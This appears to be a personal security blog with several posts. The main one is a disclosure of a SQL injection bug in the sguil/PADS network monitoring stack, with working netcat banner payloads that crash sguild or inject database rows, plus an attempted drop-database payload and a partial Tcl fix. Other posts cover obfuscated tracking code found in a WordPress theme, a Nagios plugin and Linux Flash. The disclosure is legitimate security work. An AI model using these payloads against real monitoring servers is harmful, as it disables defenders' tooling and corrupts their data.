DISCLAIMER: I have nothing but respect for the sguil, snort, PADS, and other associated development teams. Because of their efforts, I have the tools that I need available to me at no direct cost. They are truly wonderful people, and in speaking with them, I have found that they are also extremely professional and courteous. I am only making this bug report public because I filed it more than a month ago in private, and no action has since been taken, no patches released, nor any mention made of it. It is a truly very serious bug, and should it turn up in the wrong hands, could lead to a braindead network monitoring system.

I happened to be monitoring a sguil daemon on a box appropriately named snort-mgmt in full debug mode. Sguild randomly died from time to time, maybe once a week. It was very rare and sparse. I happened to catch the problem while running it, and found the culprit of the problem.

Someone on our network had started a new httpd server, and PADS had picked up on it. The banner included “: The world’s best http server.”. Sguild died on a mysql error, and printed the exact error from mysql, saying there was a syntax error. It seemed that nowhere along the way was pads, pads_agent, or sguild sanitizing the SQL input.

Knowing this, I started a few tests. I ran on one of the sensor boxes:

echo “SSH-2.0-OpenSSH_1.4′,’deadbeefcafe’);drop^Mdatabase^Msguildb;–” | nc -l 1050

and then telnet’d to it from my desktop. PADS picked up the banner packet, and passed it along exactly as it was sent. It has a 100% success rate on taking down sguild, though the above example of dropping the central database did not work, as PADS seems to parse out the whitespace. Perhaps someone more clever than myself could get the database drop to work. The injection of the deadbeefcafe did work, however, which is even worse than just taking down the management server. I ran a mysql query and found an event with hex_value ‘deadbeefcafe’, so I can confirm the injection works.

This in mind, I attempted to write a small fix to patch the problem. I was originally going to sanitize the output straight out of PADS, but PADS seems to use libpcap for that functionality, and I’d rather not go down to that level to solve a product-specific issue. So I went to the next step, the pads_agent. In pads_agent.tcl, I changed the function “GetFifoData { fifoID}” to read as such:

# PADS writes out a field per line ended with a “.” on its own.
if { $data != “.” } {

if { $DEBUG } { puts “New line from FIFO: $data” }
set data [string map {‘ \\’} $data]
lappend dataList $data

} else {

if { $DEBUG } { puts “ProcessData: $dataList” }
ProcessPadsData $dataList
set dataList “”

}

The difference being the set data string map line. I had to learn a bit of tcl to implement this. It’s not the best or most elegant fix in the world, the right way to fix this bug is to parameterize all of the MySQL calls. Upon testing the exact same command designed to break the system above, but netcatting on a different port so PADS picks it up properly again, the change worked. sguild didn’t die, and the information got put into the database successfully.

So here’s the final exploit, for those impatient people.

TO BRING THE SERVER DOWN (ungraceful, somewhat noticeable crash):

Run this command on a server being monitored by PADS/sguil:

echo “SSH-2.0-OpenSSH_1.4′,’deadbeefcafe’);–” | nc -l 7777

…and then telnet to port 7777 from a different box.

TO INJECT DATA INTO THE SGUIL MYSQL DATABASE:

Run this command on a server being monitored by PADS/sguil:

echo “SSH-2.0-OpenSSH_1.4′,’deadbeefcafe’)–” | nc -l 8888

…and then telnet to port 8888 from a different box.

End result and proof of concept:

mysql> use sguildb;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> select * from pads where `hex_payload`=’deadbeefcafe’;
+————–+—–+———-+———————+————+———+——+———-+————-+————–+
| hostname | sid | asset_id | timestamp | ip | service | port | ip_proto | application | hex_payload |
+————–+—–+———-+———————+————+———+——+———-+————-+————–+
| sensor1test2 | 1 | 7 | 2009-06-08 14:28:02 | 2886732921 | ssh | 1061 | 6 | OpenSSH 1.4 | deadbeefcafe |
+————–+—–+———-+———————+————+———+——+———-+————-+————–+
1 row in set (0.01 sec)

Suppose your friend wanted to install a video camera on your car. The video camera would only be able to see the treads of your tires as part of a study. He could only tell from this feed the depth of the treads of your tires. Nothing more, nothing less. Would you be particularly offended by this? Odds are probably not, this information is pretty benign. But what if this was a complete stranger who wanted to put the camera on your car? You’d probably be very wary of it, and inspect the camera to make sure it did exactly what he said it does. Fair enough, as the information is still pretty benign and he was pretty honest about it to begin with.

Now consider you walked outside, and one day found a video camera watching your tires just sitting there. You’ve had the car for years, you don’t know where the information is going, and you have no idea how the camera got there. And to boot, it looks like someone attempted to hide the camera — poorly. Perhaps by covering it with some clear tape or something. You’d be pretty pissed that someone did this, right?

I’ve been having issues from time to time with this blog. Randomly, the sidebars on the right load very slowly as compared to the rest of the document. I got really curious as to why the other day when it was happening again, and so I decided to figure it out. I had a suspicion that it was the mysql database, but I wanted to make sure. So I started an strace on the http daemon, and refreshed the page. I really was quite pissed at what I saw next. There was an outgoing http connection I’d never seen to a website I’d never heard of before. The connection was made moments after a gigantic glob of data was read from a php file on the filesystem. It started with eval(gzinflate(string_rot13(base64_decode(…………)))) and at this point, I knew I was in trouble. It was hidden code I wasn’t supposed to see running on my website.

See, when I first got this blog, I started by finding a nice theme. I did eventually come across the one you see now, and I liked it. A tad bit land-of-the-rising-sunny for me, but whatever, it did look nice. So I installed it. There were some plugs down the bottom of the page, one my friend even asked me about. He said, “dude, what’s with the plug for Burt’s Bee’s?”. I said, “I dunno, but the author of the document put it there, and he did ask that I not remove it, so I left it.” I swear I did the honest thing!

But then I see the camera pointing at my tires that I’d never authorized. The outgoing HTTP connection, that is. I quickly edited /etc/hosts and changed the hostname it was looking for to address 127.0.0.1. I refreshed the page. What happened? The footer and all the plugs (Burt’s Bees included) disappeared. The outgoing connection was actually quite legit. I wrote a quick php script myself to parse the output of the several layers of evaluations of random blocks of data. SEVENTY-ONE EVALUATIONS LATER, I attained the source code. It is a large user-agent tracking system. I’ve left the source code [right here].

So, I hate to inform you, but if you’ve visited this site in the past month or so, you have had some of your more public information read in by some stranger on the internet. No worries, the information was completely benign, simple stuff like your browser version and operating system type, hence the reference to tire tread. It’s stuff that I really wouldn’t have cared too much about the author collecting… if only he had just ASKED!. So now I found out that the entire footer of the page was actually coming from his server, which could mean simply one thing – Burt’s Bees is PAYING for this kind of shady advertising. That’s a horrible business practice!

In response, I’ve removed the offending code and published it in the link above. I’ve also blackhole routed any traffic from the offending website. The name of the theme, by the way, is SoulVision, and I actually did get it from a reputable repository of quality wordpress themes. As someone in the security field, I recognize that this could have been much worse than it was, and I realize just how lucky I am that it wasn’t. I guess my moral for the day is to always verify code that’s going into production on a locked down server. Oh, that, and I’ll probably never buy Burt’s Bees. Ever. End ‘o discussion on ethics.

Keri Rand has written a good article that has been published in the Advertiser News, one of the regional papers where I live. She sent out a questionnaire via facebook message to a bunch of people, and I was one who responded. She decided to use my input, and now I’m featured on their website.

I may sound like an absolute tool, but I do like the one quote that was made. They highlighted it in the actual paper printing, but not online. Quote:

“This recession has sort of made me go ‘back to the basics’ (by American standards), and appreciate the simpler things in life a whole lot more. I think it’s also impacted my health positively as well – I cook now instead of buying prepared foods, I exercise more for lack of anything ‘more exciting’ to do. Honestly, I kind of like the new lifestyle I’ve adopted because of it.”

So what does everyone else here think, has the latest economic recession affected you enough to make some lifestyle changes? It is an interesting thing to consider.

Link: [Teens and 20-somethings reflect on the state of economy]

The nagios plugin that you find in the package nagios-plugins-snmp was insufficient for my needs in a new nagios deployment. The biggest reason that it was insufficient was that it gets integer values, and then can only issue a warning or alert if that integer value is GREATER than what value you gave it. The deployment I’m setting up required that the values could be checked against a range, which is necessary when receiving SNMP data from a thermometer or hygrometer. This plugin supports receiving a range of values to check against, and then it returns the appropriate exit code.

I’ve written a tad bit of documentation in the top of the file, but here it is again, in block quotes! Download link is just below the block quote area.

# This script written with haste by Benjamin Rose, July 8th 2009 @ 11:45:42 AM
# It was written because the check_snmp plugin provided by the nagios package
# does not support range matching. It can check if the snmp value is greater than
# a given number but not less than, nor a range consisting of either a high value
# or a low value. Hence, this script, given a mode of 1 and a good range with
# which to work, will report back appropriately.
#
# Modes:
# 1 = Number comparison, reports on a given range. Argument order given in
# the usage statement.
# 2 = String comparison, which for now is just “Open” or otherwise.
#
# TODO:
# 1) Change the order of the arguments, putting mode in front of the
# variables, and then change the usage based on the given mode.
# 2) Allow the user to configure which strings are “good” and which are “bad”.

Plugin link: [snmp_plugin_wrapper]

It exists! It’s not in the Adobe yum repos yet, as it’s still an alpha build, but you can download it here:

[Native Linux 64-bit Flash Player from Adobe Labs]

It works very well. No longer do you need to get nspluginwrapper working, and then configure pulseaudio (if that’s your distro) to listen to 32-bit apps, blah blah blah. Simply unpackage, throw the .so file into the firefox plugins directory, and restart firefox. Great stuff. I’ve also noticed there’s a performance gain to be seen, my flash videos used to lag and flicker on youtube when I made them fullscreen, and this doesn’t happen anymore. Sound worked out of the box with pulse.

And the best part, although it’s supposedly an alpha build, it crashes a heck of a lot less than it used to. No more npviewer.bin segfaults in the /var/log/messages file! My guess is that this is because of the lack of a hacked wrapper. But, that being said, if it crashes on you a lot after trying it, don’t be too upset. At least they’re trying.